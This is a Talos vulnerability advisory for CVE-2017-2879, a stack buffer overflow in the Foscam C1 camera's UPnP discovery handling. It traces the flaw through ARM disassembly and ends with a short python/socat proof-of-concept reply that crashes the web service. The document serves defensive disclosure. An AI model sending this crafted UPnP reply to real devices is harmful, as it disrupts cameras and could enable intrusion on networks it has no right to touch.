Talos Vulnerability Report

TALOS-2017-0386

Foscam IP Video Camera UPnP Discovery Code Execution Vulnerability

November 13, 2017
CVE Number

CVE-2017-2879

Summary

An exploitable buffer overflow vulnerability exists in the UPnP implementation used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted UPnP discovery response can cause a buffer overflow resulting in overwriting arbitrary data. An attacker needs to be in the same subnetwork and reply to a discovery message to trigger this vulnerability.

Tested Versions

Foscam Indoor IP Camera C1 Series
System Firmware Version: 1.9.3.18
Application Firmware Version: 2.52.2.43
Plug-In Version: 3.3.0.26

Product URLs

http://www.foscam.com/downloads/index.html

CVSSv3 Score

7.5 - CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

The device implements the UPnP protocol, which is used to communicate with the network gateway in order to make the camera's web interface remotely accessible. When UPnP is enabled, the device sends the following UPnP discovery message to the multicast address 239.255.255.250 on port 1900, every 30 seconds.

M-SEARCH * HTTP/1.1
ST: UPnP:rootdevice
MX: 3
Man: "ssdp:discover"
HOST: 239.255.255.250:1900

When a reply to this message is received, the device parses it, extracts the control URL and connects to it in order to continue the communication.

Function sub_6DC10 in the "webService" binary is run in a dedicated thread. It continuously tries to discover new UPnP enabled devices by calling function sub_6D9AC [1] which in turn calls sub_6CBD0.

.text:0006DC10                 sub_6DC10
.text:0006DC10
.text:0006DC14 000 37 40 2D E9      STMFD   SP!, {R0-R2,R4,R5,LR}
.text:0006DC18 018 00 30 8D E5      STR     R3, [SP,#0x18+var_18]
.text:0006DC1C 018 DC 30 9F E5      LDR     R3, =aEnterUpnpThrea    ; "Enter UPnP thread"
...
.text:0006DC50                 loc_6DC50
.text:0006DC50 018 36 30 D4 E5      LDRB    R3, [R4,#0x36]
.text:0006DC54 018 00 00 53 E3      CMP     R3, #0
.text:0006DC58 018 03 00 00 0A      BEQ     loc_6DC6C
.text:0006DC5C 018 04 00 A0 E1      MOV     R0, R4
.text:0006DC60 018 51 FF FF EB      BL      sub_6D9AC               ; [1]
...
.text:0006DCE4 018 D9 FF FF 1A      BNE     loc_6DC50

Function sub_6CBD0 builds an UPnP discovery message [2] and sends it [3] to the multicast address "239.255.255.250". When an answer is received [4], the message at [5] is parsed.

.text:0006CBD0                 upnp_discovery
.text:0006CBD0
.text:0006CBD0 000 F0 47 2D E9      STMFD   SP!, {R4-R10,LR}
...
.text:0006CC98                 loc_6CC98
.text:0006CCA4 190E8 19 0A 8D E2    ADD     R0, SP, #0x190E8+var_E8
.text:0006CCA8 190E8 19 2A 8D E2    ADD     R2, SP, #0x190E8+var_E8
.text:0006CCAC 190E8 B8 00 80 E2    ADD     R0, R0, #0xB8               ; [2]
.text:0006CCB0 190E8 24 15 9F E5    LDR     R1, =aMSearchHttp1_1        ; "M-SEARCH * 
HTTP/1.1\r\nST: urn:schemas-"...
.text:0006CCB4 190E8 C4 20 82 E2    ADD     R2, R2, #0xC4
.text:0006CCB8 190E8 6E 97 FE EB    BL      _ZNSsC1EPKcRKSaIcE          ; std::string::string(...)
...
.text:0006CCD8 190E8 00 05 9F E5    LDR     R0, =a239_255_255__0        ; "239.255.255.250"
.text:0006CCDC 190E8 45 99 FE EB    BL      inet_addr
...
.text:0006CDAC 190E8 52 97 FE EB    BL      sendto                      ; [3]
...
.text:0006CEB4 190E8 04 00 A0 E1    MOV     R0, R4
.text:0006CEB8 190E8 10 10 8D E2    ADD     R1, SP, #0x190E8+buf        ; [5]
.text:0006CEBC 190E8 19 2A A0 E3    MOV     R2, #0x19000
.text:0006CEC0 190E8 00 30 8D E5    STR     R3, [SP,#0x190E8+optlen]
.text:0006CEC4 190E8 04 30 8D E5    STR     R3, [SP,#0x190E8+addr_len]
.text:0006CEC8 190E8 DC 98 FE EB    BL      recvfrom                    ; [4]

The buffer at [5] is copied and checked to contain:

  • the string "200 OK" [6], anywhere in the message.
  • the string "http://" [7], anywhere in the message.
  • the string "\r" [8], expected to be found after "http://".

Finally, sub_62A08 is called [9] passing as third parameter the pointer to an "std::string" object containing the message starting at "http://".

.text:0006CF44 190E8 19 0A 8D E2    ADD     R0, SP, #0x190E8+var_E8
.text:0006CF48 190E8 B4 00 80 E2    ADD     R0, R0, #0xB4
.text:0006CF4C 190E8 10 10 8D E2    ADD     R1, SP, #0x190E8+buf
.text:0006CF50 190E8 39 98 FE EB    BL      _ZNSsaSEPKc               ; std::string::operator=(char const*)
.text:0006CF54 190E8 19 0A 8D E2    ADD     R0, SP, #0x190E8+var_E8
.text:0006CF58 190E8 B4 00 80 E2    ADD     R0, R0, #0xB4
.text:0006CF5C 190E8 A8 12 9F E5    LDR     R1, ="200Ok"              ; [6]
.text:0006CF60 190E8 00 20 A0 E3    MOV     R2, #0
.text:0006CF64 190E8 7E 99 FE EB    BL      _ZNKSs4findEPKcj          ; std::string::find(char const*,uint)
...
.text:0006CF88 190E8 19 0A 8D E2    ADD     R0, SP, #0x190E8+var_E8
.text:0006CF8C 190E8 B4 00 80 E2    ADD     R0, R0, #0xB4
.text:0006CF90 190E8 80 12 9F E5    LDR     R1, =aHttp                ; [7]
.text:0006CF94 190E8 00 20 A0 E3    MOV     R2, #0
.text:0006CF98 190E8 71 99 FE EB    BL      _ZNKSs4findEPKcj          ; std::string::find(char const*,uint)
.text:0006CF9C 190E8 01 00 70 E3    CMN     R0, #1
.text:0006CFA0 190E8 00 50 A0 E1    MOV     R5, R0
...
.text:0006CFBC 190E8 60 12 9F E5    LDR     R1, =asc_8E1CA            ; [8]
.text:0006CFC0 190E8 05 20 A0 E1    MOV     R2, R5
.text:0006CFC4 190E8 66 99 FE EB    BL      _ZNKSs4findEPKcj
...
.text:0006D060 190E8 68 D6 FF EB    BL      sub_62A08                 ; [9]

Function sub_62A08 parses the control URL and sends an HTTP request to it. To do this, the control URL [10] is first tokenized by function sub_62790, which places host [11], port [12] and path [13] in three different buffers. The HTTP request is then built by composing the extracted tokens with sprintf [14] and is placed in a destination buffer which has a size of 200 bytes [15].

.text:00062A08                 sub_62A08
.text:00062A08
.text:00062A08                 var_19120= -0x19120
.text:00062A08                 var_1911C= -0x1911C
.text:00062A08                 var_19118= -0x19118
.text:00062A08                 var_19114= -0x19114
.text:00062A08                 var_19110= -0x19110
.text:00062A08                 var_19104= -0x19104
.text:00062A08                 var_120= -0x120
.text:00062A08
.text:00062A08 000 70 40 2D E9      STMFD   SP!, {R4-R6,LR}
.text:00062A0C 010 19 DA 4D E2      SUB     SP, SP, #0x19000
.text:00062A10 19010 11 DE 4D E2    SUB     SP, SP, #0x110
.text:00062A14 19120 00 40 A0 E1    MOV     R4, R0
.text:00062A18 19120 02 50 A0 E1    MOV     R5, R2                       ; [10]
...
.text:00062A80 19120 19 3A 8D E2    ADD     R3, SP, #0x19120+var_120
.text:00062A84 19120 F8 30 83 E2    ADD     R3, R3, #0xF8                ; [13]
.text:00062A88 19120 00 30 8D E5    STR     R3, [SP,#0x19120+var_19120]
.text:00062A8C 19120 19 2A 8D E2    ADD     R2, SP, #0x19120+var_120
.text:00062A90 19120 19 3A 8D E2    ADD     R3, SP, #0x19120+var_120
.text:00062A94 19120 04 00 A0 E1    MOV     R0, R4
.text:00062A98 19120 00 10 95 E5    LDR     R1, [R5]
.text:00062A9C 19120 FC 20 82 E2    ADD     R2, R2, #0xFC                ; [11]
.text:00062AA0 19120 F4 30 83 E2    ADD     R3, R3, #0xF4                ; [12]
.text:00062AA4 19120 39 FF FF EB    BL      sub_62790
...
.text:00062B18 19120 19 2A 8D E2    ADD     R2, SP, #0x19120+var_120
.text:00062B1C 19120 19 5A 8D E2    ADD     R5, SP, #0x19120+var_120
.text:00062B20 19120 F4 30 92 E5    LDR     R3, [R2,#0xF4]
.text:00062B24 19120 20 50 85 E2    ADD     R5, R5, #0x20
.text:00062B28 19120 19 CA 8D E2    ADD     R12, SP, #0x19120+var_120
.text:00062B2C 19120 00 30 8D E5    STR     R3, [SP,#0x19120+var_19120]
.text:00062B30 19120 2C 12 9F E5    LDR     R1, =aGetSHttp1_1Hos         ; "GET %s HTTP/1.1\r\nHost: 
%s:%d\r\n\r\n"
.text:00062B34 19120 F8 20 92 E5    LDR     R2, [R2,#0xF8]
.text:00062B38 19120 05 00 A0 E1    MOV     R0, R5
.text:00062B3C 19120 FC 30 9C E5    LDR     R3, [R12,#0xFC]
.text:00062B40 19120 C7 C1 FE EB    BL      sprintf

Since sprintf does not impose a maximum length and since the parameters passed to sprintf haven't had their size checked, the destination buffer can be overflown with an overlong control URL.

Exploit Proof-of-Concept

When UPnP is enabled, this vulnerability can be triggered with a simple UDP message, upon reception of an UPnP discovery. The following proof of concept will make the web service crash.

$ reply="$( python2 -c 'print "200 OK http://1.1.1.1:0/"+"A"*185+"\r"' )"
$ echo "$reply" | socat -d UDP4-RECVFROM:1900,ip-add-membership=239.255.255.250:eth0 STDIO

Timeline

2017-08-03 - Vendor Disclosure
2017-11-13 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.